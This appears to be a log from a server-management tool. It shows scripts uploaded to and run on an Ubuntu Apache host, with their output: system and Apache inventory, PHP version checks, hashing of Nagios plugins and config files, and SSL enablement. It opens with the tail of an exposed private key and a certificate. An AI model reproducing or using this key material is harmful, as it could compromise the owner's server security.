HfmSmw25FuNc6v/Sh+StBm4+FKbTDPlYc07p/2jmbGPHiZNq1Ns85kmImUUVzEuB
Ih+DXoXP+hvA6G3K584N6qGy/IRWIb2Oa5/MDpspHmBc2jEqHCBWCbKLEWRRHh0X
cTw5Q2pOKK/72Zo0o23sXjh6xTCVtEB+5p+uMWcMAQKBgQDyT4ijGA+6woUzUUb+
oTEAKi/qlgT5VK7FrKDt7NsWob4mF6Lv7ZHUUx0ZvBh9FLPrEfSAmpD+Q7ypDbgm
Z3zaQodDIrY+HXrUrlhudY0Enu1ili5rs1jcsg/9TtQnvh/nK69dr7u39CV72A/3
raNTCuik7wLK3coTr2vWVuUtHQKBgQDdr+pTljDdr1XpOkJXo8pAdjtFNK1S1azW
Pp7nwXCCfKCoo+kNuUHg3C8y2NvSEI9smKep9U6CFEV2TMCmgOp8A/YxqtcHpfeZ
KM2DkPqWsJDMLtehLRVG772IKSuMb5fziuy9ns3MFoJmBvWVwMM0GnmhuE5TWpmw
F1v7YvRKmwKBgQCytLGjB0XiiT/Pnyvq81q+Ml7wdf/pGuli5HQzxTG3uUYRtfD3
XpDktP+LUUwGQ9SFk9JtXpF81Nw5GeMsf7p3BgXYH6ukl/1VCdgybwO32rZctUI7
MCRjb/eW7CJPxUqmJXPKdqbNfoR+l9T+59LClhMKQTQgBf7ZEdFIXQHciQKBgDZ8
wm+A/sm+CrOkaiH4VAG8DZ1Y8TDm6/BMu+nilbC8yRAqGWISIqsN81vgCUd8YoQi
kTMo4/781IXbH47NKNUKdDyI7QkoNc8jREAOJklbZHuLF9y5o/0nd8I7vERsOUDW
6JFCsvpyneJN25bPJitsRnEFR9sc7aFmXGlRTRH5AoGAGBdGFaiA7PIjJX97yVMC
h3OAPfZpHQFNGTq/MZ09fVPZI4uFDcEqFNtQYkPTGEILADKEo2gRWMiCXZbtkstU
lnY9uWvj/5ZSObgqPsFCCNNJ8tMoPkMYAzbVY5mkLhcrHskI8L0AsgkHp2D6Na6z
oYEy7gAHkCRduCl0725RQto=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-24 14:09:17: Establishing a connection
2025-12-24 14:09:27: Establishing a connection
2025-12-24 14:09:28: Performing Server Status
2025-12-24 14:09:28:
PUT: /tmp/pkp661299
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-24 14:09:28:
chmod 755 /tmp/pkp661299; /tmp/pkp661299; rm /tmp/pkp661299
2025-12-24 14:09:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
dgmarshall
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-24 14:09:28:
PUT: /tmp/pkp681135
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-24 14:09:28:
chmod 755 /tmp/pkp681135; /tmp/pkp681135; rm /tmp/pkp681135
2025-12-24 14:09:28:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 899
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 899 0.0 0.8 306328 34236 ? Ss 14:05 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-24 14:09:28:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'dgmarshall',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-12-24 14:09:28:
PUT: /tmp/pkp618868
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-24 14:09:28:
chmod 755 /tmp/pkp618868; /tmp/pkp618868; rm /tmp/pkp618868
2025-12-24 14:09:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-12-24 14:09:28:
PUT: /tmp/pkp808809
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-24 14:09:28:
chmod 755 /tmp/pkp808809; /tmp/pkp808809; rm /tmp/pkp808809
2025-12-24 14:09:29:
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
2025-12-24 14:09:29:
PUT: /tmp/pkp788516
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 14:09:29:
chmod 755 /tmp/pkp788516; /tmp/pkp788516; rm /tmp/pkp788516
2025-12-24 14:09:29:
(gzipped output)
bin(/usr/local/nagios/libexec/check_nntps)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_time)= 1e9875c9b5ea540fd7733a0b02fada53
bin(/usr/local/nagios/libexec/check_nt)= 3fa95b15533e9c88543ffcd71f2fe40b
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 88a206459ec8a913e93b228e910ce67a
bin(/usr/local/nagios/libexec/check_apt)= 22b4f86286f6c23874c3023adbccecc1
bin(/usr/local/nagios/libexec/check_imap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_icmp)= 4162517468ed73d84c9cb4375898d78e
bin(/usr/local/nagios/libexec/check_tcp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_dig)= 9e404209b923ca562ab25b97e8360f28
bin(/usr/local/nagios/libexec/check_mrtg)= ded945e92e21d981251d50536dcf18d0
bin(/usr/local/nagios/libexec/check_dns)= 101b924a73ccb26a09af66930f8c29c2
bin(/usr/local/nagios/libexec/check_nwstat)= 16d6b8b99b9677ace8035b362b9cfa6d
bin(/usr/local/nagios/libexec/check_pop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_clamd)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk_smb)= a0addfa4f7a59ab39d7c22903bd03591
bin(/usr/local/nagios/libexec/check_jabber)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_disk)= 75f7db1e8c11e25e168c75fe02f16f83
bin(/usr/local/nagios/libexec/check_ssh)= 0da91416fd7f73af7252a747961cc0fa
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_ups)= e3cb868f84f02b48587b160065a49729
bin(/usr/local/nagios/libexec/check_ifstatus)= 3fa7c282c0d64611ba956a1a62d955f6
bin(/usr/local/nagios/libexec/check_mailq)= 2a9a5be3ea16b80a021054f213d2a4dd
bin(/usr/local/nagios/libexec/check_log)= c11e83499380bf54090f23f2c2dff71e
bin(/usr/local/nagios/libexec/check_nagios)= 887c5d4b15f5470cc428b719b6aa5618
bin(/usr/local/nagios/libexec/check_ntp_time)= 41e0b76bc270eac4e5cb68be2503317d
bin(/usr/local/nagios/libexec/check_smtp)= 7d19de04a51638615aede0fd7f36f8f8
bin(/usr/local/nagios/libexec/check_dhcp)= c4a1eb272d41ee39d6fe3ecdef526f8f
bin(/usr/local/nagios/libexec/check_ntp_peer)= 09b4b11c6697984946b9ca681502c595
bin(/usr/local/nagios/libexec/check_http)= 55a7d45e13bcc6724f51469dfe8489b3
bin(/usr/local/nagios/libexec/check_flexlm)= 9f6100f7ab1b0511b276dc3adc3581f3
bin(/usr/local/nagios/libexec/check_load)= c5d4af31efd52835fb9281994fad5381
bin(/usr/local/nagios/libexec/check_sensors)= ff31dc74c18f5745178a88ee209f7199
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_ntp)= 0f84108f663334402ab1ddd798e9c73d
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3de0691a4833084c61d63f8dab433fcd
bin(/usr/local/nagios/libexec/check_ircd)= f43249e02df45308f25c31ac5879859b
bin(/usr/local/nagios/libexec/check_file_age)= 4ca1b31c4727146655023808c501658a
bin(/usr/local/nagios/libexec/check_swap)= 298b1ee455ee25389b25d8173ad8ccfb
bin(/usr/local/nagios/libexec/check_dummy)= fb4c1e391fe2d37452b1dbc6fdc0f0fa
bin(/usr/local/nagios/libexec/check_cluster)= bcc1b5d1a959a980ee755ff3c157fca2
bin(/usr/local/nagios/libexec/check_ide_smart)= 48b733285b0a2d4d473db54efe4457f7
bin(/usr/local/nagios/libexec/check_ping)= 8bb007231029700a1659553a16321bfa
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_overcr)= 24457c37bfca07b7dad91a3223ac4640
bin(/usr/local/nagios/libexec/check_breeze)= 28bc7630e205482708923d2985361390
bin(/usr/local/nagios/libexec/check_uptime)= fd91968d366ae0fd2a6df13185f3669b
bin(/usr/local/nagios/libexec/check_nntp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_udp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_real)= f2489c04cf946b095bed1366f8f0df35
bin(/usr/local/nagios/libexec/check_ftp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_by_ssh)= 8b3e62f3ba31a179d61c21f0eac0aa11
bin(/usr/local/nagios/libexec/check_ssmtp)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_spop)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_procs)= 67a29b52608ad36a6467fd5896bb620e
bin(/usr/local/nagios/libexec/check_wave)= 43eebe3022fa6667f5ff578067dc4c0d
bin(/usr/local/nagios/libexec/check_simap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_users)= 9c8ca7b5b64407598bef6b769062090c
bin(/usr/local/nagios/libexec/check_rpc)= 6511971a137e9df4658da51f8f892e76
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_oracle)= 4b3e86763d33cb262524bc3ee4bea311
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
2025-12-24 14:09:29:
PUT: /tmp/pkp248936
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-24 14:09:29:
chmod 755 /tmp/pkp248936; /tmp/pkp248936; rm /tmp/pkp248936
2025-12-24 14:09:29:
status=ok
2025-12-24 14:09:29:
PUT: /tmp/pkp171334
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-24 14:09:29:
chmod 755 /tmp/pkp171334; /tmp/pkp171334; rm /tmp/pkp171334
2025-12-24 14:09:29:
2025-12-24 14:09:29:
PUT: /tmp/pkp194731
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
